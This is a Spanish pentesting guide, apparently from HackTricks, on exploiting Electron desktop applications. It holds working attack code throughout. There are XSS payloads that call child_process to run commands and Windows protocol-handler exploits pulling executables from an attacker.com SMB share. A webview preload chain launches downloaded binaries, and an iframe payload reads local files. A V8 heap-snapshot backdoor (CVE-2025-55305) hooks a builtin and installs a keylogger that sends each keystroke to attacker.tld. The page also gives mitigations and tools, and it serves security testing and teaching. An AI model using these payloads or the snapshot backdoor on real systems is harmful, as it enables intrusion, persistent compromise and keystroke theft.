585 lines
31 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Aplicaciones de escritorio de Electron
{{#include ../../../banners/hacktricks-training.md}}
## Introducción
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos mecanismos de seguridad de los navegadores modernos.
Normalmente puedes encontrar el código de la aplicación Electron dentro de una aplicación `.asar`; para obtener el código necesitas extraerla:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
En el código fuente de una aplicación Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen las configuraciones de seguridad.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron tiene 2 tipos de procesos:
- Proceso principal (tiene acceso completo a NodeJS)
- Proceso de renderizado (debería tener acceso a NodeJS restringido por razones de seguridad)
![](<../../../images/image (182).png>)
Un **proceso de renderizado** será una ventana del navegador que carga un archivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Los ajustes del **renderer process** pueden **configurarse** en el **main process** dentro del archivo main.js. Algunas configuraciones **evitarán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
La aplicación Electron **podría acceder al dispositivo** vía Node apis aunque puede configurarse para impedirlo:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- Integración de Node en Workers
- **`nodeIntegrationInSubframes`**- is `off` by default.
- Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de las **Node.js APIs** en páginas web que se **cargan en iframes** dentro de una aplicación Electron.
- Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe
Ejemplo de configuración:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Algunos **RCE payloads** de [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Capturar tráfico
Modifica la configuración start-main y añade el uso de un proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Si la **nodeIntegration** está configurada en **on**, el javascript de una página web puede usar características de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Por lo tanto, el script puede exportar node-features a páginas:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **Si `contextIsolation` está activado, esto no funcionará**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
Si los contextos no están aislados un atacante puede:
1. Ejecutar **JavaScript arbitrario en renderer** (XSS o navegación a sitios externos)
2. **Sobrescribir el método integrado** que se usa en preload o en el código interno de Electron para tomar control de la función
3. **Provocar** el uso de la **función sobrescrita**
4. ¿RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass click event
Si hay restricciones aplicadas cuando haces clic en un enlace, podrías poder evitarlas **haciendo clic con el botón central** en lugar de un clic izquierdo regular
```javascript
window.addEventListener('click', (e) => {
```
## RCE a través de shell.openExternal
Para más información sobre estos ejemplos consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Al desplegar una aplicación de escritorio Electron, asegurar la configuración correcta de `nodeIntegration` y `contextIsolation` es crucial. Está demostrado que la **ejecución remota de código del lado del cliente (RCE)** dirigida a preload scripts o al código nativo de Electron desde el main process queda efectivamente prevenida con estos ajustes.
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se activan listeners de eventos específicos, que son cruciales para la seguridad y la funcionalidad de la aplicación:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
These listeners are **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
**Aquí hay un pseudocódigo simplificado:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Las prácticas recomendadas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría conducir a RCE a través de diversos protocolos. Los sistemas operativos soportan diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, puede consultarse [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios, por ejemplo `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Ejemplos de exploits de protocolos de Windows incluyen:**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vulnerabilidad se puede encontrar en **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, por lo que debe desactivarse ya que permite cargar un script dentro del preload context como:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Por lo tanto, un atacante que logra cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
Este preload script fue abusado entonces para llamar a un **servicio IPC vulnerable (`skype-new-window`)** que llamaba **`shell.openExternal`** para obtener RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Lectura de archivos internos: XSS + contextIsolation
**Disabling `contextIsolation` enables the use of `<webview>` tags**, similar to `<iframe>`, para leer y exfiltrating archivos locales. Un ejemplo muestra cómo exploit esta vulnerabilidad para leer el contenido de archivos internos:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Además, se comparte otro método para **lectura de un archivo interno**, que resalta una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para exploit la aplicación y exfiltrate data:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + Chromium antiguo**
Si el **chromium** usado por la aplicación es **antiguo** y hay **conocidas** **vulnerabilities** en él, podría ser posible to **exploit** it and obtain RCE through a XSS.\
Puedes ver un ejemplo en este **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing vía bypass de regex de URL internas**
Suponiendo que encontraste un XSS pero **no puedes desencadenar RCE ni robar archivos internos** podrías intentar usarlo para **robar credenciales vía phishing**.
Primero necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
La llamada a **`openInternally`** decidirá si el **link** será **abierto** en la **ventana de escritorio** ya que es un link perteneciente a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
En el caso de que la **regex** usada por la función sea **vulnerable to bypasses** (por ejemplo al **no escapar los puntos de los subdominios**) un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocolo
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** tienen acceso unilateral a todos los archivos de tu máquina, lo que significa que **los problemas de XSS pueden usarse para cargar archivos arbitrarios** desde la máquina del usuario. Usar un **protocolo personalizado** previene problemas como este, ya que puedes limitar el protocolo a servir solo un conjunto específico de archivos.
## Remote module
El Remote module de Electron permite que **los procesos renderer accedan a las APIs del proceso principal**, facilitando la comunicación dentro de una aplicación Electron. Sin embargo, habilitar este módulo introduce riesgos significativos de seguridad. Amplía la superficie de ataque de la aplicación, haciéndola más susceptible a vulnerabilidades como ataques de cross-site scripting (XSS).
> [!TIP]
> Aunque el módulo **remote** expone algunas APIs del main al renderer, no es sencillo lograr RCE solo abusando de los componentes. Sin embargo, los componentes podrían exponer información sensible.
> [!WARNING]
> Muchas apps que aún usan el remote module lo hacen de forma que **requieren que NodeIntegration esté habilitado** en el proceso renderer, lo cual es un **enorme riesgo de seguridad**.
Desde Electron 14 el módulo `remote` de Electron puede habilitarse mediante varios pasos; por razones de seguridad y rendimiento, se **recomienda no usarlo**.
Para habilitarlo, primero es necesario **habilitarlo en el proceso principal**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Entonces, el proceso renderer puede importar objetos del módulo así:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
El **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remoto:
- **`app.relaunch([options])`**
- **Reinicia** la aplicación saliendo de la instancia actual y **lanzando** una nueva. Útil para **actualizaciones de la app** o cambios significativos de **estado**.
- **`app.setAppLogsPath([path])`**
- **Define** o **crea** un directorio para almacenar los **logs de la app**. Los logs se pueden **recuperar** o **modificar** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** el ejecutable actual como el **manejador predeterminado** para un **protocolo** especificado. Puedes proporcionar una **ruta personalizada** y **argumentos** si es necesario.
- **`app.setUserTasks(tasks)`**
- **Agrega** tareas a la categoría **Tasks** en el **Jump List** (en Windows). Cada tarea puede controlar cómo se **lanza** la app o qué **argumentos** se pasan.
- **`app.importCertificate(options, callback)`**
- **Importa** un certificado **PKCS#12** en el almacén de certificados del sistema (**solo Linux**). Se puede usar un **callback** para manejar el resultado.
- **`app.moveToApplicationsFolder([options])`**
- **Mueve** la aplicación a la **carpeta Applications** (en macOS). Ayuda a asegurar una **instalación estándar** para usuarios de Mac.
- **`app.setJumpList(categories)`**
- **Establece** o **elimina** un **Jump List** personalizado en **Windows**. Puedes especificar **categorías** para organizar cómo aparecen las tareas al usuario.
- **`app.setLoginItemSettings(settings)`**
- **Configura** qué **ejecutables** se lanzan al iniciar sesión junto con sus **opciones** (solo macOS y Windows).
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## módulo systemPreferences
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, y **setUserDefault** son todos **parte de** este módulo.
**Ejemplo de uso:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Escucha** notificaciones nativas de macOS usando NSDistributedNotificationCenter.
* Antes de **macOS Catalina**, se podía sniff **todas** las notificaciones distribuidas pasando **nil** a CFNotificationCenterAddObserver.
* Después de **Catalina / Big Sur**, las sandboxed apps aún pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueo/desbloqueo de pantalla**, **montajes de volúmenes**, **actividad de red**, etc.) registrando notificaciones **por nombre**.
### **getUserDefault / setUserDefault**
* **Interactúa** con **NSUserDefaults**, que almacena preferencias **de la aplicación** o **globales** en macOS.
* **getUserDefault** puede **recuperar** información sensible, como **ubicaciones recientes de archivos** o la **ubicación geográfica del usuario**.
* **setUserDefault** puede **modificar** estas preferencias, potencialmente afectando la **configuración** de una app.
* En **versiones antiguas de Electron** (antes de v8.3.0), sólo la **suite estándar** de NSUserDefaults era **accesible**.
## Shell.showItemInFolder
Esta función muestra el archivo dado en un file manager, lo que **podría ejecutar automáticamente el archivo**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Las apps de Electron deberían tener una **Content Security Policy (CSP)** para **prevenir ataques XSS**. La **CSP** es un **estándar de seguridad** que ayuda a **evitar** la **ejecución** de **código no confiable** en el navegador.
Normalmente se **configura** en el archivo **`main.js`** o en la plantilla **`index.html`** con la CSP dentro de una **meta tag**.
Para más información consulta:
{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Esta cadena real afectó a Visual Studio Code 1.63 (CVE-2021-43908) y demuestra cómo un solo XSS impulsado por markdown en un webview puede escalarse a RCE completo cuando CSP, postMessage y los manejadores de scheme están mal configurados. PoC pública: https://github.com/Sudistark/vscode-rce-electrovolt
Resumen de la cadena de ataque
- Primera XSS vía webview CSP: La CSP generada incluía `style-src 'self' 'unsafe-inline'`, permitiendo inyección basada en inline/estilos en un contexto `vscode-webview://`. El payload beaconed a `/stealID` para exfiltrar el extensionId del webview objetivo.
- Construcción de la URL del webview objetivo: Usando el leaked ID para construir `vscode-webview://<extensionId>/.../<publicUrl>`.
- Segundo XSS vía confianza en postMessage: El webview externo confiaba en `window.postMessage` sin comprobaciones estrictas de origen/tipo y cargó HTML del atacante con `allowScripts: true`.
- Carga de archivos locales mediante reescritura de scheme/ruta: El payload reescribió `file:///...` a `vscode-file://vscode-app/...` y sustituyó `exploit.md` por `RCE.html`, abusando de la débil validación de rutas para cargar un recurso local privilegiado.
- RCE en contexto con Node habilitado: El HTML cargado se ejecutó con las APIs de Node disponibles, resultando en ejecución de comandos del SO.
Ejemplo de primitiva RCE en el contexto final
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Lectura relacionada sobre problemas de confianza de postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Herramientas**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones incorrectas y antipatterns de seguridad en aplicaciones basadas en Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de código abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para comprobar bibliotecas de terceros vulnerables
- [**Electro.ng**](https://electro.ng/): Necesitas comprarlo
## Laboratorios
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.
Algunos comandos que te ayudarán con el laboratorio:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## Backdoor local mediante manipulación de snapshots del heap de V8 (Electron/Chromium) CVE-2025-55305
Las aplicaciones basadas en Electron y Chromium deserializan un V8 heap snapshot preconstruido al inicio (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los fuses de integridad de Electron no trataban estos snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las comprobaciones de code-signing del SO. Como resultado, reemplazar el snapshot en una instalación con permisos de escritura por parte del usuario proporcionaba ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.
Puntos clave
- Brecha de integridad: EnableEmbeddedAsarIntegrityValidation y OnlyLoadAppFromAsar validan el JavaScript de la app dentro del ASAR, pero no cubrían los V8 heap snapshots (CVE-2025-55305). Chromium igualmente no verifica la integridad de los snapshots.
- Precondiciones del ataque: Escritura de archivos local en el directorio de instalación de la app. Esto es común en sistemas donde las apps Electron o los navegadores Chromium se instalan en rutas escribibles por el usuario (p. ej., %AppData%\Local en Windows; /Applications con salvedades en macOS).
- Efecto: Ejecución fiable de JavaScript del atacante en cualquier isolate al sobreescribir un builtin de uso frecuente (un “gadget”), permitiendo persistencia y evasión de la verificación de code-signing.
- Superficie afectada: Apps Electron (incluso con fuses habilitados) y navegadores basados en Chromium que cargan snapshots desde ubicaciones escribibles por el usuario.
Generar un snapshot malicioso sin compilar Chromium
- Usa el prebuilt electron/mksnapshot para compilar un payload JS en un snapshot y sobrescribir el v8_context_snapshot.bin de la aplicación.
Ejemplo de payload mínimo (demostrar ejecución forzando un crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Enrutamiento de payload consciente del isolate (ejecutar código distinto en main vs. renderer)
- Detección del proceso main: Los globales exclusivos de Node como process.pid, process.binding(), o process.dlopen están presentes en el isolate del proceso main.
- Detección navegador/renderer: Los globales exclusivos del navegador como alert están disponibles cuando se ejecuta en un contexto de documento.
Ejemplo de gadget que sondea las capacidades de Node del proceso main una vez
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
PoC de exfiltración de datos del renderer/contexto del navegador (p. ej., Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
Flujo de trabajo del operador
1) Escribe payload.js que clobbers un builtin común (p. ej., Array.isArray) y, opcionalmente, bifurque por isolate.
2) Construye el snapshot sin las fuentes de Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Sobrescribe los archivos snapshot de la aplicación objetivo:
- v8_context_snapshot.bin (siempre usado)
- browser_v8_context_snapshot.bin (si se usa el fuse LoadBrowserProcessSpecificV8Snapshot)
4) Inicia la aplicación; el gadget se ejecuta siempre que se use el builtin elegido.
Notas y consideraciones
- Evasión de integridad/firmas: Los archivos snapshot no son tratados como ejecutables nativos por las comprobaciones de code-signing y (históricamente) no estaban cubiertos por los fuses de Electron ni por los controles de integridad de Chromium.
- Persistencia: Reemplazar el snapshot en una instalación escribible por el usuario típicamente sobrevive a reinicios de la app y parece una aplicación legítima y firmada.
- Navegadores Chromium: El mismo concepto de manipulación aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su modelo de amenazas.
Detección y mitigaciones
- Tratar los snapshots como contenido ejecutable e incluirlos en las comprobaciones de integridad (CVE-2025-55305 fix).
- Preferir ubicaciones de instalación escribibles solo por administrador; establecer línea base y monitorizar los hashes de v8_context_snapshot.bin y browser_v8_context_snapshot.bin.
- Detectar sobrescritura temprana de builtins en tiempo de ejecución y cambios inesperados en snapshots; alertar cuando los snapshots deserializados no coincidan con los valores esperados.
## **References**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}